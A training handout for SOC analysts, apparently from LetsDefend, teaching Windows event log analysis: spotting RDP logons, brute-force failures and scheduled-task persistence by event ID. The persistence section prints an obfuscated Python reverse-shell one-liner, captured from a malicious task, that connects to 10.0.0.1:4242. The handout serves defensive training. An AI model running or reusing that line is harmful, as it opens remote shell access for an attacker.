INTRODUCTION TO EVENT LOG ANALYSIS

for SOC Analysts



TABLE OF CONTENTS





INTRODUCTION TO EVENT LOG

Event Log

During an investigation, Event Logs are tracked because they have a comprehensive form of activities. The "Event Viewer" tool can be used to simply examine the logs.



It is often possible to obtain the following evidence with event log analysis:

-Service start, stop

-RDP activity

-Changing user privileges

-Failed login activities

These actions are among the most basic actions seen in any cyber attack. Therefore, event log analysis is really important to find the root cause of the cyber attack.

In Windows systems, there are three main event log titles as Application, System and Security.



INTRODUCTION TO EVENT LOG

Application

It provides log records related to the applications in the system. For example, you can find errors received by an antivirus application running on the system. Another example is the log generated by edgeupdate:

Event Viewer (Local)	Application Number of events: 15.455					
Custom Views Windows Logs	Level	Date and Time	Source	Event ID	Task Cate	
Application	(1) Information	18.02.2021 20:33:18	Security-SPP	1040	None	
Security	(i) Information	18.02.2021 20:33:18	Security-SPP	16394	None	
Setup	Information	18.02.2021 20:18:24	edgeupdate		None	
System	(i) Information	18.02.2021 19:43:34	gupdate	0	None	
 Forwarded Events Applications and Services Logs Saved Logs Subscriptions 	Event 0, edgeupda General Details	ite				
ALL	Service stoppe	d.				

System

It is the area where the logs created by the basic components of the operating system are located. For example, logs for a driver loads and unloads operations can be found here.

Security

Records regarding authentication and security are kept here. This is the part we will focus on most during the training.



ANALYSIS SUCCESSFUL LOGON EVENTS

Quick Start to Event Logs

Each event log has its own ID value. Filtering, analyzing and searching the log title is more difficult, so it is easy to use the ID value.

You can find the details of which Event ID value means what from the URL address below.

https://www.ultimatewindowssecurity.com/securitylog/ency clopedia/default.aspx

Investigation of Login Records

Considering the general situation, a login activity appears in all successful or unsuccessful cyberattacks. An attacker often wants to log into the server to take over the system. For this purpose, it can perform brute force attack or directly login with the password in hand. In both cases (successful login / unsuccessful login attempt) the log will be created.

Let's consider an attacker logged into the server after a brute force attack. To better analyze what the attacker did after entering the system, we need to find the login date. For this, we need "Event ID 4624 - An account was successfully logged on".

Log file for lesson: Log_File.zip Pass=321 To reach the result, we open the "Event Viewer" and select "Security" logs. https://app.letsdefend.io/academy/lesson/Analysis-Successful-Logon-Events/



ANALYSIS SUCCESSFUL LOGON EVENTS



Then we create a filter for the "4624" Event ID.

Security	Filter Current Log	X		Actions	
Keywords	The content tog		*	Security	
Audit Su	Filter XML			🎓 Open Saved Log	
Audit Su	Logged:	Any time	=	Y Create Custom View	
Audit Su	Event level			Import Custom View	
Audit Su	Creme reven	Critical Warning Verbose		Clear Log	
Audit Su		Error Information		Filter Current Log	
Audit Su	By log	Event logs: Security		Properties	
Audit Su	By source	Event sources:		000 Find	
Audit Su				Save All Events As	
Audit Su	Includes/Exclud	des Event IDs: Enter ID numbers and/or ID ranges separated by commas. To		Attach a Task To this Log	
Audit Es	exclude criteria,	, type a minus sign first. For example 1,3,5-99,-76		View	
Event 4625,		4624	X	G Refresh	
General	Task category			7 Help	
Anacco	rosk coregory.	· · · · · · · · · · · · · · · · · · ·		Event 4625 Microsoft Windows security	
Andeco	Keywords:			Event Properties	
Subject:	licer	Alltheas		Attach Task To This Event	
	ose.	< All Users>	-	Save Selected Events	
Log Nam	Computer(s):	<all computers=""></all>		Conv.	
Source:		Clear		B Refrech	-
Event ID:					
Level:	Contraction of the second s			Неір	,
User:		OK Cancel			
More Info	armation: Event Loc	a Online Help			

And now we see that the number of logs has decreased significantly and we are only listing logs for successful login activities. Looking at the log details, we see that the user of "LetsDefendTest" first logged in at 23/02/2021 10:17 PM.



ANALYSIS SUCCESSFUL LOGON EVENTS

Security Numbe	r of events: 24				
Filtered: Log:	Security; Source: ; Event ID: 4624.	Number of even	ts: 3		
Keywords	Date and Time	Source	Event ID	Task Category	
Audit Success	2/23/2021 10:17:31 PM	Microsoft W	/ind 4624	Logon	
Audit Success	2/23/2021 10:17:31 PM	Microsoft W	(ind 4624	Logon	
Audit Success	2/23/2021 10:17:20 PM	Microsoft W	/ind 4624	Logon	
Event 4624, Micros	oft Windows security auditing.				×
General Details					
Subject: Securi Accou Logor Logon Type: New Logon: Securi Accou Accou	ity ID: SYSTEM unt Name: WIN-CGAK3 unt Domain: WORKGROU 1D: 0x3e7 10 tv ID: WIN-CGAK3 unt Name: LetsDefend unt Domain: WIN-CGAK3 1D: 0x105e0ce CUID: 0x00000.0	CTL9KRS JP CTL9KR\LetsDef Test CTL9KR	fendTest		E
Log Name:	Security				
Source:	Microsoft Windows security	Logged:	2/23/2021 10:17:20 PM		
Event ID:	4624	Task Category:	Logon		
Level:	Information	Keywords:	Audit Success		
User:	N/A	Computer:	WIN-CGAK3CTL9KR		
OpCode:	Info				
More Informatio	on: Event Log Online Help				

Even when we look at the "Logon Type" field, we see the value 10. This indicates that you are logged in with "Remote Desktop Services" or "Remote Desktop Protocol". You can find the meaning of the logon type values on

Microsoft's page.

https://docs.microsoft.com/en-us/windows/security/threatprotection/auditing/event-4624

In the next section, we will detect the Brute force attack the attacker made before logging in.



DETECTING BRUTE FORCE

In this section, we will catch an attacker who is in the lateral movement phase. The attacker is trying to jump to the other machine by brute force over RDP.

Download log file: Log_File.zip Pass=321 https://app.letsdefend.io/academy/lesson/Detecting-Brute-Force/

When an unsuccessful login operation is made on RDP, the "Event ID 4625 - An account failed to log on" log is generated. If we follow this log, we can track down the attacker.

Security 1	Filter Current Log	• ו)		Actions	
7 Filtere	The concil cog			Security	-
Keywords	Filter XML Logged:	Any time •		 Open Saved Log Create Custom View 	
Audit Fa	Event level:	Critical Warning Verbose		Import Custom View Clear Log	
Haudit Fa	By log	Error Information		Filter Current Log Clear Filter	
Event 4625, General	Ø By source	Event sources:	×	Properties	
An acco Subject:	Includes/Exclude criteria	des Event IDs: Enter ID numbers and/or ID ranges separated by commas. To type a minus sign first. For example 1,3,5-99,-76 4625	* II	Save Filtered Log File As Attach a Task To this Log Save Filter to Custom View	
	Task category:			View Refresh	•
Logon 1	Keywords:			Help	•
Account	User:	<all users=""></all>	-	Event 4625, Microsoft Windows secur	rity 🔺
Log Nam Source: Event ID:	Computer(s):	<all computers=""></all>		Event Properties Attach Task To This Event Save Selected Events Com	
Level: User:		OK Cancel		Refresh	
OpCode:	rmation: Event Lo	a Online Help		Help	•



DETECTING BRUTE FORCE

After filtering, we see 4 logs with 4625 Event IDs.

Filtered: Log	: Security; Source: ; Event ID: 462	25. Number of events: 4		
Keywords	Date and Time	Source	Event ID	Task Category
🔒 Audit Failure	2/23/2021 10:17:11 PM	Microsoft Wind	4625	Logon
🔒 Audit Failure	2/23/2021 10:17:01 PM	Microsoft Wind	4625	Logon
🔒 Audit Failure	2/23/2021 10:16:58 PM	Microsoft Wind	4625	Logon
🔒 Audit Failure	2/23/2021 10:16:56 PM	Microsoft Wind	4625	Logon

When we look at the dates, we see that the logs are formed one after the other. When we look at the details, it is seen that all logs are created for the "LetsDefendTest" user.

Keywords	Date and Time	Source	Event ID	Task Category	
🔒 Audit Failure	2/23/2021 10:17:11 PM	Microsoft Wind	4625	Logon	
Audit Failure	2/23/2021 10:17:01 PM	Microsoft Wind	4625	Logon	
🔒 Audit Failure	2/23/2021 10:16:58 PM	Microsoft Wind	4625	Logon	
Audit Failure	2/23/2021 10:16:56 PM	Microsoft Wind	4625	Logon	

General	Details

Account For Which Logon Faile	ed:
Security ID:	NULL SID
Account Name:	LetsDefendTest
Account Domain:	WIN-CGAK3CTL9KR
Failure Information:	
anure information.	
Failure Reason:	Unknown user name or bad password.
Failure Reason: Status:	Unknown user name or bad password. 0xc000006d

As a result, we understand that the attacker has unsuccessfully attempted to login 4 times. To understand whether the attack was successful or not, we can search for the 4624 logs we saw in the previous section.



=

DETECTING BRUTE FORCE

ilter XML	
Logged:	Any time 👻
Event level:	Critical Warning Verbose
By log	Event logs: Security
By source	Event sources:
Task category:	
Task category: Keywords:	•
Task category: Keywords: User:	All Users>
Task category: Keywords: User: Computer(s):	All Users>



As can be seen from the results, the attacker succeeded in connecting to the system with the 4624 log after the 4625 logs.



DETECT PERSISTENCE FROM EVENT LOGS

A hacker applies various methods to ensure persistence in the system. One of them is creating a "schedule task" or modifying an existing task.

Schedule Task

As security analyst, we can access the logs related to the task scheduler from "Applications and Services Logs-Microsoft-Windows-TaskScheduler% 4Operational.evtx".

Log file for lesson: persistence.zip Pass=321

 https://app.letsdefend.io/academy/lesson/Detect-Persistence-From-Event-Logs/

The following 2 event ids will make our job very easy.

- Event ID 4698 A scheduled task was created
- Event ID 4702 A scheduled task was updated

First, we can examine newly created tasks by filtering 4698. Here we can see newly created schedule tasks.

202				
 Information 	2/27/2021 7:24:25 PM	Microsoft Windo	4698	Other Object Ac
Information	2/27/2021 7:22:26 PM	Microsoft Windo	4719	Audit Policy Cha
 Information 	2/27/2021 7:22:24 PM	Microsoft Windo	4719	Audit Policy Cha
Information	2/27/2021 7:22:15 PM	Eventlog	1102	Log clear
Event 4698, Microsoft	t Windows security auditing.			
<command/>	C:\Python27\python.exe <td>d></td> <td></td> <td></td>	d>		
<arguments> [[(p2s_thread.star (lambda: None)][, exctype,value out[0] in [((s.clo lambdaself,e ())))([None]))[1] for p]))]][0][1] for s2 p)))][0][1] for s2</arguments>	-c "(lambda _y, _g, _contextlib: [[[t(), (lambda _out: (lambda _ct: [2])(_contextlib.nested(type('except', e, _traceback: _exctype is not None ose(), lambda after: after())[1]))][0])))(exctype, _value, _traceback: [False fo or p2s_thread.daemon in [(True)]][0] p_thread.daemon in [(True)]][0] for _	<pre>[[[(s.connect(('10.0.0.1', 4242)), [[[(cbenter(), _ctxexit_(None, I (), {'_enter_': lambda self: None, ' and (issubclass(_exctype, Keyboar), type('try', (), {'_enter_': lambda : or _out[0] in [((p.wait(), (lambda for _g['p2s_thread'] in [(threading. _g['s2p_thread'] in [(threading.Thre</pre>	s2p_thread.sta None, None), exit': lamb dInterrupt) and self: None, 'e after:after()) Thread(target=s2p ad(target=s2p	rt(), _out[0] daself, d [True for exit_':))[1])]][0]}) =p2s, args=[s, args=[s,

DETECT PERSISTENCE FROM EVENT LOGS

As can be seen in the image, a task that creates a reverse shell has been created.

Service

When a new service is added to the system, Event ID 4697: A service was installed in the system log is generated. You want to examine the services created with a suspicious name or file on a suspicious date.

Registry

If you suspect that persistent is achieved by editing the registry values, you can search for the Event ID 4657 "A registry value was modified" log.

